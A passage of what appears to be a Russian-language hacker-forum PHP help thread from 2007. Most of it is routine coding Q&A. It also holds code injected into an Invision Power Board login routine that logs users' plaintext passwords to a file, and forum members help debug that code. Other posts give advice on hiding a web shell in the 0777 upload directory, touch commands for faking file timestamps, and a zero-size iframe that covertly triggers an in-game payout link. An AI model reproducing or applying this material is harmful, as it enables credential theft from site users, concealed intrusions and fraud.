fputs($fp, $line);
fclose($fp);
после:
//-----------------------------------------
// Check auth
//-----------------------------------------
Reanimat0R
31.08.2007, 11:38
Что-то не так, файл с логами не создается
Что-то не так, файл с логами не создается
создай вручную и права поставь 755
либо на каталог 777 кажется.
groundhog
31.08.2007, 11:48
n1†R0x, всё верно.
Reanimat0R, ты хорошо посмотри... Он создаётся в текущей директории скрипта, то есть текущей для основного скрипта, который инклудит изменённый тобой. В общем для верности пропиши путь к логу, что-то типа:
$fp = fopen("/var/www/html/login.log", "a+");
Путь разумеется на твоём серве другой...
Reanimat0R
31.08.2007, 12:12
Блин...Что-то все равно не так...
Вот сам файлик:
http://slil.ru/24799099
groundhog
31.08.2007, 12:21
Кстати, код немного поправь:
$fp = fopen("/www/c6forum/sources/action_public/logi.txt", "a+");
$line = sprintf("%s: %s:%s\n", date("d.m.y H:i:s"), $username, $this->ipsclass->input['PassWord']);
fputs($fp, $line);
fclose($fp);
А то не кошерно когда оно в одну строчку всё лепит... А вообще ты пробовал ставить на каталог в который пишешь права rwxrwxrwx (777)?
Reanimat0R
31.08.2007, 12:32
А то не кошерно когда оно в одну строчку всё лепит... А вообще ты пробовал ставить на каталог в который пишешь права rwxrwxrwx (777)?
Права ставлю все равно не помогает... :confused:
groundhog
31.08.2007, 12:47
Какая группа и владелец указаны для файлов в директории куда ведётся запись, а также какая группа и владелец указаны для диры куда ведётся запись?
Reanimat0R
31.08.2007, 12:52
Какая группа и владелец указаны для файлов в директории куда ведётся запись, а также какая группа и владелец указаны для диры куда ведётся запись?
user:32818
group:99
groundhog
31.08.2007, 12:55
А почему Uid'ами и Gid'ами? Ты это как смотрел?
Reanimat0R
31.08.2007, 13:00
А почему Uid'ами и Gid'ами? Ты это как смотрел?
через ftp, св-ва файла
groundhog
31.08.2007, 13:04
Хорошо, давай поступим так... Вместо кода что я дал, напиши строку:
touch("test.test");
Если не заработает повставляй её в другие куски кода, как только выяснишь в какой мент начнёт создаваться файл test.test так сразу и кричи, а вообще хорошо бы было, если бы ты выгреб последние записи из error_log и кинул сюда.
З.Ы. Ты когда тестишь - нажимаешь выход, а потом логин?
Student :)
31.08.2007, 14:57
как выводить анимацию
при ожидание ответа сервера (ajax )
джаваскриптом менять страничку.
Talisman
31.08.2007, 18:37
как выводить анимацию
при ожидание ответа сервера (ajax )
DLE через ксс выводит анимашку по центру экрана с замутненным фоном. можешь так же.
Student :)
01.09.2007, 11:06
DLE через ксс выводит анимашку по центру экрана с замутненным фоном. можешь так же.
а пример можно
Talisman
01.09.2007, 12:47
http://dle-news.ru/
Termin@L
01.09.2007, 16:42
PHP Fatal error: Call to undefined function mysql_connect() in C:\script\php_inj_mysql.php on line 2
Что-то я курил что-ли сегодня...?
PHP Fatal error: Call to undefined function mysql_connect() in C:\script\php_inj_mysql.php on line 2
Что-то я курил что-ли сегодня...?
Может тетрадку?
Покажи line 2 из C:\script\php_inj_mysql.php. С БД видимо косяки.
Joker-jar
01.09.2007, 16:53
Закинь libmysql.dll из папки PHP в C:\Windows\system32. Проверь, что раскоментировано в PHP.ini
extension=php_mysql.dll
Взгляни в phpinfo(), убедись что путь extension_dir правильный. Если нет, попробуй кинуть свой PHP.ini в папку C:\Windows
Joker-jar
01.09.2007, 17:03
С БД видимо косяки.
Нет.
Call to undefined function mysql_connect()
PHP не знает о такой функции. Либо нет библиотеки, либо она неприинклудена (или приинклудена, но неправильно)
что делает функция fflush()?
This function forces a write of all buffered output to the resource pointed to by the file handle.
т.е. записывает в файл содержимое буффера. но что на веб сервере может быть в буффере? приведите пример плз
что делает функция fflush()?
т.е. записывает в файл содержимое буффера. но что на веб сервере может быть в буффере? приведите пример плз
Наверно. Может быть что-нибудь типо этого?
<?
$f = fopen('file.txt', 'a');
fflush($f);
fclose($f);
?>
Чистит буфер насколько я знаю...
Наверно. Может быть что-нибудь типо этого?
<?
$f = fopen('file.txt', 'a');
fflush($f);
fclose($f);
?>
типа. только там перед fflush() идет fputs() =\
Dr.Check, а как же This function forces a write of all buffered output to the resource pointed to by the file handle.
типа. только там перед fflush() идет fputs() =\
Вот именно.
http://www.lib.com.ua/books/7/34n73.html
Тоже самое для PHP.
Функция fflush() записывает на диск все изменения, которые были произведены с указанным в кач-ве параметра открытым файлом.
Вообще fclose() включает в себя fflush(), она сохраняет текущее состояние файла на диск.
Есть БД "people", нужно получить значение одного столбца:
<?php
require_once"connect.php";
$request=mysql_query('SELECT name FROM people WHERE id = 1');
$res=mysql_fetch_row($request);
print_r($res);
?>
После запроса выводит: array ([0]=>Мария)
Как можно сделать чтоб выводило просто: "Мария"? и результат присваивался какой нибудь переменной. Заранее спасибо.
Есть БД "people", нужно получить значение одного столбца:
<?php
require_once"connect.php";
$request=mysql_query('SELECT name FROM people WHERE id = 1');
$res=mysql_fetch_row($request);
print_r($res);
?>
После запроса выводит: array ([0]=>Мария)
Как можно сделать чтоб выводило просто: "Мария"? и результат присваивался какой нибудь переменной. Заранее спасибо.
Результат присваиваеться переменной $people
<?php
require_once"connect.php";
$request=mysql_query('SELECT name FROM people WHERE id = 1');
$res=mysql_fetch_row($request);
$people = $res[0];
echo $people;
?>
groundhog
05.09.2007, 10:33
Нужно так:
print($res[0])
Где индекс массива - это соответствуящая колонка в запросе для текущего ряда.
спасиб, смотрю и плачу, мучался весь вечер.
У меня вопрос будет ли сервер и вообще PHP поддерживать если я файл буду передавать на сервер в виде хеша т.е. index.php?hex="сам хеш" ??? размер хеша в симолах - несколько десятков тысяч. :)
groundhog
05.09.2007, 17:35
А ограничение Get-строки 255 символов или что-то около того... Передавай Post'ом...
Ага, вот это и хотел узнать! Get - это открытый способ передачи, а Post закрытый, т.е. не видимый в url-адрессе?
Ага, вот это и хотел узнать! Get - это открытый способ передачи, а Post закрытый, т.е. не видимый в url-адрессе?
да.
гет index.php? с параметром page=123 так и будет в логах, пост - как 'index.php'
RFC 2616/2068
MagNomeTik
06.09.2007, 13:03
Есть вопрос, можно как нибудь узнать посредством php, поддерживает ли браузер клиента или отображается у него flash анимация, если не загружается, то заменять флэш на картинки?
Headers
**
Accept:.. flash ..
(точно не знаю)
**
Через яву скрипт точно можно:-)дальше просто поставь куки и читай их через пхп как вариант...
groundhog
06.09.2007, 13:18
MagNomeTik, впорос на самом деле не из простых... Вообще, как правильно заметил, inv - можно ориентироваться на заголовок Accept, передаваемый браузером клиента. В этом заголовке браузер сообщает какой тип контента, и в каком приоритете он предпочитает получить. Но если ты хочешь поставить на поток эту идею, тогда тебе нужно копать в сторону проекта WURFL. Там же на сайте можно найти и классы на PHP, которые позволят с ним работать. В кратце скажу что это такое... WURFL - это проект, который собирает информацию о всех возможных браузерах и поддерживаемых ими функциональности. Вся информация хранится в виде XML-файла. Особенно этот проект актуален для порталов, ориентированных на мобильных клиентов - можно отдавать страницы налету подстраиваясь под все виды браузеров... Основную инфу ты получишь на http://wurfl.sourceforge.net
temp_late
06.09.2007, 16:30
В шоке, зарегистрировался хост на jino-net, установил свою cmsку, и обанружил не приятность, на этом хосте при передаче method="post" все символоы ' и " передаються в глобальный масив $_POST в экранированном виде тоесть:
' -> \'
" -> \"
Как от этого избавиться, что бы не фильтровал запросы?
ps: Str_replace('\"','"',$_POST["text"]); // не предлогать...
В шоке, зарегистрировался хост на jino-net, установил свою cmsку, и обанружил не приятность, на этом хосте при передаче method="post" все символоы ' и " передаються в глобальный масив $_POST в экранированном виде тоесть:
' -> \'
" -> \"
Как от этого избавиться, что бы не фильтровал запросы?
ps: Str_replace('\"','"',$_POST["text"]); // не предлогать...
пробуй
stripslashes ($_POST["text"]);
groundhog
06.09.2007, 16:56
Это называется magic_quotes.
temp_late
06.09.2007, 17:25
Stripslashes вернула как надо, но немного не то, надо переписывать всю свою систему, а это немного нетак просто.., а нельзя ли изменить настроки php при запуски скрипта подобно как делали с set_time_limit(0); только с magic_quotes ?
halkfild
06.09.2007, 17:50
long set_magic_quotes_runtime (int new_setting);
new_setting 1 - ON
0 - OFF
Есть вопрос, можно как нибудь узнать посредством php, поддерживает ли браузер клиента или отображается у него flash анимация, если не загружается, то заменять флэш на картинки?
MagNomeTik, впорос на самом деле не из простых... Вообще, как правильно заметил, inv - можно ориентироваться на заголовок Accept, передаваемый браузером клиента. В этом заголовке браузер сообщает какой тип контента, и в каком приоритете он предпочитает получить. Но если ты хочешь поставить на поток эту идею, тогда тебе нужно копать в сторону проекта WURFL. Там же на сайте можно найти и классы на PHP, которые позволят с ним работать. В кратце скажу что это такое... WURFL - это проект, который собирает информацию о всех возможных браузерах и поддерживаемых ими функциональности. Вся информация хранится в виде XML-файла. Особенно этот проект актуален для порталов, ориентированных на мобильных клиентов - можно отдавать страницы налету подстраиваясь под все виды браузеров... Основную инфу ты получишь на http://wurfl.sourceforge.net
Если любишь извращаться, то пожалуйста.
Только одно но - в теле тега object, коим и вставляется флеш, можно размещать теги, которые будут выведены на экран в случе отключения/недоступности/ошибки.
Т.е. то же самое, что делает noscript в случае отключенного JavaScript'а.
Кстати, можно за этим следить средствами JavaScript, заменяя outerHTML выбранного object'а по его событию onError
Смысла в дополнительных пхп-наворотах не вижу. А простота, как всегда подруга совершенства.
Доброе времени суток, скажем у меня есть ссылка с онлайн игры и при нажатие на неё я получаю деньги в игре. еше есть саит на который хотелось бы втулить ету ссилку чтоб она открывалась на той же странице но только так чтоб её не было видно ( только не pop-up ). есть доступ к странице и можно её редактировать. подскожите пожалуйста скрипт для етой цели. зарание блогодарю.
Доброе времени суток, скажем у меня есть ссылка с онлайн игры и при нажатие на неё я получаю деньги в игре. еше есть саит на который хотелось бы втулить ету ссилку чтоб она открывалась на той же странице но только так чтоб её не было видно ( только не pop-up ). есть доступ к странице и можно её редактировать. подскожите пожалуйста скрипт для етой цели. зарание блогодарю.
<iframe src="site.ru" width="0" height="0" frameborder="0"></iframe>
Ded MustD!e
08.09.2007, 20:18
Мой нубский вопрос:
Я записываю в файл имя и цифру, как мне сделать так, чтобы каждая новая запись добавлялась с новой строки.
$file = fopen ("res.txt","a");
if ( !$file )
{
echo("Ошибка открытия файла");
}
else
{
fputs ( $file, $name);
fputs ( $file, $ball);
}
fclose ($file);
Результат работы: Вася 5 Петя 8 Саша 4
Требуется:
Вася 5
Петя 8
Саша 4
$file = fopen ("res.txt","a");
if ( !$file )
{
echo("Ошибка открытия файла");
}
else
{
fputs ( $file, $name);
fputs ( $file, $ball."\n");
}
fclose ($file);
$file = fopen ("res.txt","a") or die("Ошибка открытия файла");
fwrite ( $file, $name."\n".$ball."\n");
fclose ($file);
Ded MustD!e
08.09.2007, 22:51
Всем спасибо!
как остановить или начать заново выполнение скрипта, в котором были строки
ignore_user_abort(1);
set_time_limit(0);
?
Ded MustD!e, если юзаешь винду, лучше юзай не \n а \r\n ато в нотпаде будешь видеть квадратики...
Piflit, я лично прописывал в цикл if(file_exists('stop.txt')) exit; и когда нужно останосить бота (или чё там у тебя) создаешь файл stop.txt
как остановить или начать заново выполнение скрипта?
Может быть
header('Location '.$_SERVER['PHP_SELF']);
Скрипт просто перезайдёт на страницу, но если уже были хедеры или например echo() то лучше юзать
exit('<meta http-equiv="refresh" content="0;URL='.$_SERVER['PHP_SELF'].'">');
Ponchik, IF - не цикл :)
groundhog
10.09.2007, 13:59
NOmeR1, это смотря как был запущен скрипт... Твой способ ориентирован на браузерный запуск, т.к. данные хидеры анализируются клиентским ПО. При запуске с консоли будет по барабану - эти хидеры будут валиться на стандартный поток (ну или в файл).
NOmeR1, это смотря как был запущен скрипт... Твой способ ориентирован на браузерный запуск, т.к. данные хидеры анализируются клиентским ПО. При запуске с консоли будет по барабану - эти хидеры будут валиться на стандартный поток (ну или в файл).
Тогда лучше юзать второй способ.
NOmeR1, header() и meta-refresh покатят для браузера, а если указано ignore_user_abort() это говорит о том, что пользователь закрывает браузер, тоесть серипт ты не перезапустиш... Даже если браузер будет открыт, есть вероятность 90%, что браузер не прочитает ответ сервера, после 2-3 минут простоя, браузер обычно забывает что ему нужен ответ :)
А насчёт IF, я непонял что ты имеешь в виду... При использовании IF не возникает потребность использовать set_time_limit и ignore_user_abort (если конечно там не милион if, но это тупость) такчто готов поспорить что Piflit использует эти функции изза циклов
Есть такой код :
index.php :
...
If ($_SESSION['cha'] == 1) { $_SESSION['cha'] = 0; header('Location: index.php?act=cha');}
...
include "cha.php";
// То есть если в сессии есть пометка, то страничка сначала обновится, а потом уж без $_GET['add'] снова вгрузится
cha.php :
If ($_GET['add'])
{
... [операторы...]
$_SESSION['cha'] = 1;
// Если операторы выполнились, оставляем пометку в сесси...
}
...
<a href = index.php?add=bla-la>.....
Пи таком раскладе 1 раз операторы срабатывают как и положено, в строке остается заданный адрес, но если обновить страничку, то должен же сработать код
header('Location: index.php?act=cha');
а значит $_GET['add'] не будет? Но тем не менее, те операторы выполняются, а адрессная строка становится index.php?act=cha .
Выход я нашел, сердце подсказало =), но вот почему так получилось - не понял. А пробелы в знаниях оставлятьь не хочется...
Какой движок для форума посоветуете???
vBulletin 3.6.4 - в плане безопасноти и актуальности версии подойдет?
// Sorry я новичек в web-coding.
vBulletin 3.6.4 - в плане безопасноти и актуальности версии подойдет?
// Sorry я новичек в web-coding.
Мда.. Возьми да проверь, что лень?
И вообще то что ты делаешь называется не веб кодинг, а "я низнаю какой движок выбрать".
Здесь задают вопросы не по безопасности или какой двиг лучше, а только вопросы чисто о PHP.
Мда.. Возьми да проверь, что лень?
Я по моему сказал:
я новичек в web-coding.
Здесь задают вопросы не по безопасности или какой двиг лучше, а только вопросы чисто о PHP.
NOmeR1 Я прекрасно понимаю что здесь и о чем эта тема.
Вопрос "Посоветуйте двиг?" по твоему из-за него стоит заводить отдельную тему, требующая один два ответа?
а только вопросы чисто о PHP.
А я и прошу двиг - чисто на PHP ;)
Вопрос "Посоветуйте двиг?" по твоему из-за него стоит заводить отдельную тему, требующая один два ответа?
вопрос уже не один раз поднимался между прочим.
n1†R0x Мне нужно былы 1,2 ответа. ;)
Поправлюсь
// Sorry я новичек в web-coding.
Какой это нафиг кодинг, это страданее хренью. В этой теме вопросы по темам - функции в PHP, синтаксис и другое, но никак не о "какой двиг лучше".
Эта тема чисто о Php! че вы тут демагогию разводите...
life_is_shit
12.09.2007, 02:59
помогите плиз.
Задача такова.
Есть два скрипта на разных серваках.
С первого нужно передать некоторые параметры Post/get'ом (всеравно) во второй, второй должен получить их, отработать что-нибуть и вернуть результат в первый.
главное! работу второго я не должен видеть, я должен видеть только результат который он вернет в первый скрипт.
заранее спасиба.
з.ы. если несложно напишите элементарный пример.
Joker-jar
12.09.2007, 03:36
В скрипт_1 сделай include/require скрипт_2?пармаетры, а скрипт_2 пусть свой результат формирует обычным выводом (без <html>, <body> и т.д.)
life_is_shit
12.09.2007, 09:50
а без инклуда никак нельзя?
если сложно, то пусть второй просто выполнится, не возвращая никаких результатов.
<?php
//script#1
$data = file_get_contents("http://localhost/script2.php?param1=yes¶m2=999");
//обработка?
print $data;
?>
либо напрямую через сокеты
life_is_shit
12.09.2007, 10:11
через file_get_contents тоже не годицца, так как параматры приходица передавать в таком виде:
?to=bill%40melkosoft.com&from=hax0r%40evil.com&subj=bI+bI+bI
Напиши плз пример для сокетов.
Если curl поддерживается тогда в твоем случае лучше делать через него
<?php
$ch = curl_init("http://www.site.ru/script.php");
$result=curl_exec($ch);
curl_close($ch);
echo $result;
?>
в переменной $result будет ответ сервера.
groundhog
12.09.2007, 13:31
ant0ha, вот фигли он будет в переменной? Про параметр CURLOPT_RETURNTRANSFER слышали? Вот только после его инициализации будет возвращён результат в переменную...
Жись_Гавно, а ты можешь воспользоваться функцией, которая реализует транспорт через либу CURL (писал для себя, поддерживается множество методов). Вот исходник (форматирование поехало, но всё равно разберёшься):
define("HTTP_GET", 0x0001);
define("HTTP_POST", 0x0002);
define("HTTP_HEAD", 0x0003);
define("HTTP_PUT", 0x0004);
define("HTTP_DELETE", 0x0006);
define("HTTP_TRACE", 0x0007);
define("HTTP_OPTIONS", 0x0008);
define("HTTP_PROPFIND", 0x0009);
define("HTTP_10", 0x0001);
define("HTTP_11", 0x0002);
function httpRequest (
$requestMethod, // HTTP метода - одна из определённых выше констант
$requestVersion, // HTTP версия - одна из определённых выше констант
$requestUrl, // Урла запроса
$requestHeaders, // Хидеры запроса
$requestBody, // Тело запроса
$requestTimeout, // Таймаут-запроса
$requestProxy, // Прокси для соединения
&$responseCode = null, // Переменная, куда будет возвращён HTTP код ответа
&$responseHeaders = null, // Переменная куда будет возвращены хидеры ответа
&$responseBody = null, // Переменная куда будет возвращено тело запроса
&$errCode = null, // Номер ошибки CURL
&$errString = null) // Описание ошибки CURL
{
if (!is_integer($requestTimeout))
return ($responseCode = $responseHeaders = $responseContent = false);
$urlData = parse_url($requestUrl);
if (!isset($urlData["host"]))
return ($responseCode = $responseHeaders = $responseContent = false);
if (!isset($urlData["scheme"])) $urlData["scheme"] = "http";
if (!isset($urlData["path"])) $urlData["path"] = "/";
if (!isset($urlData["port"]) && $urlData["scheme"] == "http") $urlData["port"] = 80;
if (!isset($urlData["port"]) && $urlData["scheme"] == "https") $urlData["port"] = 443;
switch ($requestMethod) {
case HTTP_GET :
$httpMethod = "GET";
break;
case HTTP_POST :
$httpMethod = "POST";
break;
case HTTP_HEAD :
$httpMethod = "HEAD";
break;
case HTTP_PUT :
$httpMethod = "PUT";
break;
case HTTP_DELETE :
$httpMethod = "DELETE";
break;
case HTTP_TRACE :
$httpMethod = "TRACE";
break;
case HTTP_OPTIONS :
$httpMethod = "OPTIONS";
break;
case HTTP_PROPFIND :
$httpMethod = "PROPFIND";
break;
default :
return ($responseCode = $responseHeaders = $responseContent = false);
break;
}
switch ($requestVersion) {
case HTTP_10 :
$httpVersion = "1.0";
break;
case HTTP_11 :
$httpVersion = "1.1";
break;
default :
return ($responseCode = $responseHeaders = $responseContent = false);
break;
}
if (isset($urlData["query"]))
$customRequest = sprintf("%s %s?%s HTTP/%s\r\n", $httpMethod, $urlData["path"], $urlData["query"], $httpVersion);
else
$customRequest = sprintf("%s %s HTTP/%s\r\n", $httpMethod, $urlData["path"], $httpVersion);
$customRequest .= sprintf("Host: %s\r\n", $urlData["host"]);
foreach ($requestHeaders as $header)
$customRequest .= sprintf("%s\r\n", $header);
if ($requestMethod == HTTP_POST || $requestMethod == HTTP_PUT)
if (strlen($requestBody) > 0) $customRequest .= sprintf("Content-Length: %s\r\n", strlen($requestBody));
else return ($responseCode = $responseHeaders = $responseContent = false);
if (isset($urlData["user"]) && isset($urlData["pass"])) {
$authValue = sprintf("%s:%s", $urlData["user"], $urlData["pass"]);
$customRequest .= sprintf("Authorization: Basic %s\r\n", base64_encode($authValue));
}
$customRequest .= sprintf("Connection: close\r\n", $urlData["host"]);
$customRequest .= "\r\n";
if ($requestMethod == HTTP_POST || $requestMethod == HTTP_PUT)
if (strlen($requestBody) > 0) $customRequest .= sprintf("%s", $requestBody);
else return ($responseCode = $responseHeaders = $responseContent = false);
$curlHandler = curl_init();
$curlOptions = array (
CURLOPT_URL => sprintf("%s://%s", $urlData["scheme"], $urlData["host"]),
CURLOPT_PORT => $urlData["port"],
CURLOPT_TIMEOUT => $requestTimeout,
CURLOPT_CUSTOMREQUEST => $customRequest,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HEADER => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FAILONERROR => false,
CURLOPT_VERBOSE => false,
CURLOPT_NOPROGRESS => true
);
if ($urlData["scheme"] == "https") {
$curlOptions[CURLOPT_SSL_VERIFYPEER] = false;
$curlOptions[CURLOPT_SSL_VERIFYHOST] = false;
}
if ($requestMethod == HTTP_HEAD || $requestMethod == HTTP_OPTIONS || $requestMethod == HTTP_DELETE)
$curlOptions[CURLOPT_NOBODY] = true;
else
$curlOptions[CURLOPT_NOBODY] = false;
if (!is_null($requestProxy)) {
$proxyData = parse_url("http://" . $requestProxy);
if (isset($proxyData["user"]) && isset($proxyData["pass"]))
$curlOptions[CURLOPT_PROXYUSERPWD] = sprintf("%s:%s", $proxyData["user"], $proxyData["pass"]);
if (!isset($proxyData["host"]) && !isset($proxyData["port"]))
return ($responseCode = $responseHeaders = $responseContent = false);
$curlOptions[CURLOPT_PROXY] = sprintf("%s:%d", $proxyData["host"], $proxyData["port"]);
$curlOptions[CURLOPT_HTTPPROXYTUNNEL] = sprintf("%s:%d", $proxyData["host"], $proxyData["port"]);
}
$result = curl_setopt_array($curlHandler, $curlOptions);
if (!$result) return ($responseCode = $responseHeaders = $responseContent = false);
$response = curl_exec($curlHandler);
$errCode = curl_errno($curlHandler);
$errString = sprintf("Error: %s", curl_error($curlHandler));
if (curl_errno($curlHandler) != CURLE_OK) {
$responseCode = false;
$responseHeaders = false;
$responseContent = false;
curl_close($curlHandler);
return false;
}
curl_close($curlHandler);
list($headers, $responseBody) = preg_split("/\r\n\r\n/", $response, 2);
$headers = preg_split("/\r\n/", $headers);
list(,$responseCode,) = sscanf(array_shift($headers), "%s %d %s");
$responseHeaders = $headers;
return true;
}
Ну или если ты любитель сокет, то вот пример, только для метода GET, но если ты знаешь принципы и спецификацию протокола HTTP, то реализовать другой метод тебе труда не составит:
function httpGetRequest ($remoteUrl, &$respCode, &$respBody) {
$urlData = parse_url($remoteUrl);
if (!isset($urlData["host"])) return false;
if (!isset($urlData["port"])) $urlData["port"] = 80;
if (!isset($urlData["path"])) $urlData["path"] = "/";
$socket = fsockopen($urlData["host"], $urlData["port"], $errno, $errstr, 60);
if (!$socket) return false;
$resource = $urlData["path"];
if (isset($urlData["query"])) $resource .= "?{$urlData["query"]}";
$sendData = "GET {$resource} HTTP/1.1\r\n";
$sendData .= "Host: {$urlData["host"]}\r\n";
$sendData .= "User-Agent: DaMaGeLaB Crawler\r\n";
$sendData .= "Accept: */*\r\n";
$sendData .= "Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\n";
$sendData .= "Pragma: no-cache";
$sendData .= "Connection: Close\r\n\r\n";
$ret = fwrite($socket, $sendData);
if (!$ret) return false;
$buffer = "";
while (!feof($socket)) {
$buffer .= fgets($socket, 8192);
}
fclose($socket);
list($headers, $content) = preg_split("/\r\n\r\n/", $buffer, 2);
if (strlen($content) <= 0 || strlen($headers) <= 0) return false;
$respCode = intval(substr($headers, 9, 3));
$respBody = $content;
return true;
}
ant0ha, вот фигли он будет в переменной? Про параметр CURLOPT_RETURNTRANSFER слышали? Вот только после его инициализации будет возвращён результат в переменную...
Да, поторопился с ответом, вот как нужно было:
<?php
$ch = curl_init("http://www.site.ru/script.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$result=curl_exec($ch);
curl_close($ch);
echo $result;
?>
life_is_shit
12.09.2007, 17:53
задача решилась всем кто помогал пасиба, отдельное Грандхогу)
Reanimat0R
12.09.2007, 20:45
Подскажите пожалуйста, как поменять время создания .php файла, и в какие директории можно закинуть шел чтобы его можно было запустить.(Ipb 2.3.1)
Огромное спасибо
Подскажите пожалуйста, как поменять время создания .php файла, и в какие директории можно закинуть шел чтобы его можно было запустить.(Ipb 2.3.1)
Огромное спасибо
Запихнуть вроди можно в upload, там права 0777, а вот время создания файла ты вряд ли изменишь.
Подскажите пожалуйста, как поменять время создания .php файла
можно попробовать выполнить системную команду touch
touch ММДДччммГГ путь_к_файлу
Зачем пользоваться системной командой, если существует функция?
http://ru.php.net/manual/ru/function.touch.php
по никсовой команде:
http://ru.wikipedia.org/wiki/Touch
Устанавливает дату последнего изменения и доступа в 8:46:26 31 января 2007 г.:
# touch -t 200701310846.26 index.html
# touch -d '2007-01-31 8:46:26' index.html
# touch -d 'Jan 31 2007 8:46:26' index.html
Paranoiac
13.09.2007, 07:43
Помогите составить регулярку чтобы проверить логин ползователя
1. не должен состоять из разных алфавитов одновременно ( может быть либо русский либо английский)
2. может содержать цифры, один пробел, два нижних подчеркивания "_"
Помогите составить регулярку чтобы проверить логин ползователя
1. не должен состоять из разных алфавитов одновременно ( может быть либо русский либо английский)
2. может содержать цифры, один пробел, два нижних подчеркивания "_"
Одной регуляркой здесь не справиться.
<?
$login = 'My_name_is hacker';
if(preg_match('/^([A-Za-z0-9_\s]+|[А-Яа-я0-9_\s]+)$/i',$login) && substr_count($login,' ') <= 1 && substr_count($login,'_') <= 2)
{
echo('Логин "'.$login.'" введён верно');
}
else
{
echo('Логин "'.$login.'" введён неверно');
}
?>
На удаленном хосте есть текстовый файл. Каким скриптом можно этот файл взять и сохранить (или вывести) на своем хосте, где скрипт лежит?
Файл - www.ultracomp.ru/prices/ULTRA_Msk_All_Txt.txt .
Через ftp файл не взять, через fopen("$url", "r") тоже.
Joker-jar
13.09.2007, 17:07
http://ru2.php.net/manual/ru/function.file-get-contents.php
ещё можно
$f = file('http://www.ultracomp.ru/prices/ULTRA_Msk_All_Txt.txt');
echo implode($f);
Только там наверное будет HTTP запрос писаться, если будет, отрешь всё что выше \r\n\r\n
groundhog
14.09.2007, 12:16
Учтите, что для предложенных вами методов должен быть allow_url_fopen = On. Как альтернатива - выше по обсуждению тыщу раз обсуждался вопрос получения содержимого файла через сокеты.
Ах да!
<?php
$fp = fsockopen("ultracomp.ru", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET /prices/ULTRA_Msk_All_Txt.txt HTTP/1.1\r\n";
$out .= "Host: www.ultracomp.ru\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$f .= fgets($fp, 128);
}
fclose($fp);
}
$f = explode("\r\n\r\n",$f);
$f[0] = null;
$f = implode($f);
echo "File:<br>$f";
?>
;)
Как сделать перекодировку к аплоудеру, что бы русские файлы транслитом перестраховывались в английские?
skivig, http://use-google.narod.ru/
Скрипт переводит русский текст в транслит (предоставлен Дрыгой Андреем (anddriga@yandex.ru)).
/*Дрыга - это фамилия аффтара, а не моя :D */
<?php
// функция превода текста с кириллицы в траскрипт
function encodestring($st)
{
// Сначала заменяем "односимвольные" фонемы.
$st=strtr($st,"абвгдеёзийклмнопрстуфхъыэ _",
"abvgdeeziyklmnoprstufh'iei");
$st=strtr($st,"АБВГДЕЁЗИЙКЛМНОПРСТУФХЪЫЭ _",
"ABVGDEEZIYKLMNOPRSTUFH'IEI");
// Затем - "многосимвольные".
$st=strtr($st,
array(
"ж"=>"zh", "ц"=>"ts", "ч"=>"ch", "ш"=>"sh",
"щ"=>"shch","ь"=>"", "ю"=>"yu", "я"=>"ya",
"Ж"=>"ZH", "Ц"=>"TS", "Ч"=>"CH", "Ш"=>"SH",
"Щ"=>"SHCH","Ь"=>"", "Ю"=>"YU", "Я"=>"YA",
"ї"=>"i", "Ї"=>"Yi", "є"=>"ie", "Є"=>"Ye"
)
);
// Возвращаем результат.
return $st;
}
echo encodestring('Превед медвед');
?>
Задача:
Юзер авторизируется на сайте, в бд, в его записи online = 1. А вот если юзер закрывает окно с сайтом или нажимает на ссылку Exit , то online = 0. Если со ссылкой все более менее понятно, то как реализовать выход по закрытию браузера используя пхп ?
Joker-jar
16.09.2007, 14:11
Meanor, online должна быть сессионной переменной, она сама уничтожится по истичении времени сессии (читай - после x минут отсутствия какой-либо активности юзера на сайте)
Да, это все решает, но... Мне, например, надо вывести список юзеров онлайн. Это можно сделать лишь через бд, выводя имена тех, у кого online = 1. Но как сделать этот параметр зависимым от соответствующего параметра сессии?
PS. Еще один вопрос по поводу бана по ип. Чаще всего у юзера динамический айпи, а значит, что при каждом заходе в сеть, он меняется... Следовательно просто сравнивать прошлый айпи юзера с теперяшним ничего не даст... Как делается бан в таком случае?
На счёт onLine:
http://www.softtime.ru/forum/read.php?id_forum=1&id_theme=196
Joker-jar
16.09.2007, 15:38
По поводу первого - тема много раз обсуждалась на различных форумах о веб-программировании, поищи примеры либо используй готовую реализацию. По поводу второго - бань по IP+Cookies, либо всю подсеть :)
Спасиб, вся соль была в функции session_id(), которая мне была неизвестна =(...
Мне когда-то говорили, что если запрос к бд стоит в цикле (например в for ), то эт не правильно и скрипт нужно переделывать...
Настолько ли это критично?
groundhog
16.09.2007, 18:56
Meanor, по моим меркам - это весьма критично...
Задача:
Юзер авторизируется на сайте, в бд, в его записи online = 1. А вот если юзер закрывает окно с сайтом или нажимает на ссылку Exit , то online = 0. Если со ссылкой все более менее понятно, то как реализовать выход по закрытию браузера используя пхп ?
ИМХО писать time() вместо 0,1 потом SELECT COUNT(*) FROM `users` WHERE `online` < time()+60*5
Так ты выведеш всех юзверей которые открывали сайт в течении 5 минут
По поводу юзеров онлайн - мой вариант.
Писал по памяти, мб немного криво или где-то ошибся, нет возможности потестить. Писал на сессиях.
Mod:
<?php
session_start();
$id_sess = session_id();
$interv = "5";
include "config.php"; //db conf
$res = mysql_query("SELECT * FROM `sessions` WHERE `id_sess` = '$id_sess'");
if (!$res) exit ("Bad MySQL Struct!");
if (mysql_num_rows($res) > 0)
{
$result = mysql_query("UPDATE `sessions` SET `up_date` = NOW(), user = '".$_SESSION['user']."' WHERE `id_sess` = '$id_sess'");
}
else
{
$result = mysql_query("INSERT INTO `sessions` VALUES ('$id_sess', NOW(), '".$_SESSION['user']."'");
if (!$result)
exit ("Error! Cannot add user!");
}
$result = mysql_query("DELETE FROM `sessions` WHERE `up_date` < NOW() - INTERVAL '$interv' MINUTE");
?>
SQL:
CREATE TABLE `sessions` (
`id_sess` tinytext NOT NULL,
`up_date` datetime NOT NULL default '0000-00-00 00:00:00',
`user` tinytext NOT NULL
);
Да, именно так я и сделал... Но потом увидел, что можно сэкономить кучу байтов, просто используя функцию time в бд в столбце online.
Потом запрашивать:
$timep = $time - 60 * 10;
db_query("SELECT * FROM `users` WHERE `online` > $timep;")
Спасибо Пончику =)
